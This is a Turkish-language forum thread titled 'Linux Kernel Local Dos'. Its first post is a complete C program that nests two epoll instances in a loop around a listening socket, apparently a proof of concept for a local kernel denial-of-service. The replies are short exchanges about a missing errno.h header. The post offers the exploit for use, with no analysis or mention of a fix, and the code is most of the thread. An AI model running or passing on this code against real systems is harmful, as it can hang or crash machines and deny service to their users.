Linux Kernel Local Dos

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Muhalif Yorumcu
    SeRDaR
    SeRDaR's avatar
    Kayıt Tarihi: 09/Kasım/2003
    Erkek
    #include <netinet/in.h>
    #include <sys/epoll.h>
    #include <errno.h>
     
    int
    main ()
    {
        struct sockaddr_in addr;
        struct epoll_event event;
        int epfd1, epfd2, sock;
        int rc;
        int i = 0;
        while (1)
        {
            printf("ITERATION %d\n", ++i);
            epfd1 = epoll_create(1);
            printf("epoll_create() -> %d(%d)\n", epfd1, errno);
            epfd2 = epoll_create(1);
            printf("epoll_create() -> %d(%d)\n", epfd2, errno);
     
            sock = socket(PF_INET, SOCK_STREAM, 0);
            printf("socket() -> %d(%d)\n", sock, errno);
     
            addr.sin_family = AF_INET;
            addr.sin_port = 0;
            addr.sin_addr.s_addr = 0;
            rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
            printf("bind() -> %d(%d)\n", rc, errno);
     
            rc = listen(sock, 1);
            printf("listen() -> %d(%d)\n", rc, errno);
     
            event.data.fd = sock;
            event.events = 0;
            rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
            printf("epoll_ctl() -> %d(%d)\n", rc, errno);
     
            event.data.fd = epfd2;
            event.events = EPOLLIN;
            rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
            printf("epoll_ctl() -> %d(%d)\n", rc, errno);
     
            event.data.fd = epfd1;
            event.events = EPOLLIN;
            rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
            printf("epoll_ctl() -> %d(%d)\n", rc, errno);
     
            rc = close(epfd1);
            printf("close(epfd1) -> %d(%d)\n", rc, errno);
     
            rc = close(epfd2);
            printf("close(epfd2) -> %d(%d)\n", rc, errno);
     
            rc = close(sock);
            printf("close(sock) -> %d(%d)\n", rc, errno);
     
            sleep(1);
            printf("\n\n");
        }
        return 0;
    }

    Önemsediğin Kadar Önemsenirsin. Önemsendiğin Kadar Önemsensersin.
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Allura
    Allura's avatar
    Kayıt Tarihi: 17/Mayıs/2009
    Erkek

    güzel yazmışsın errno kütüphanesini yollayabilir misin bana derlerken eksik dedi


    "
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Muhalif Yorumcu
    SeRDaR
    SeRDaR's avatar
    Kayıt Tarihi: 09/Kasım/2003
    Erkek

    ben yazmadım kardeşim yabancı biri yazmış ben paylaştım


    Önemsediğin Kadar Önemsenirsin. Önemsendiğin Kadar Önemsensersin.
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    renegadealien
    renegadealien's avatar
    Üstün Hizmet Madalyası Savaş Madalyası Başarı Madalyası Üstün Hizmet Madalyası Developer Madalyası
    Kayıt Tarihi: 23/Mart/2003
    Erkek

    linux sistemlerin içerisinde var errno.h 

    eğer yok ise bi kernel-devels paketini yüklemeyi dene onun içinde olması lazım


    10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Kendi özlü sözümdür, kaynak belirterek kullanınız.
Toplam Hit: 1089 Toplam Mesaj: 4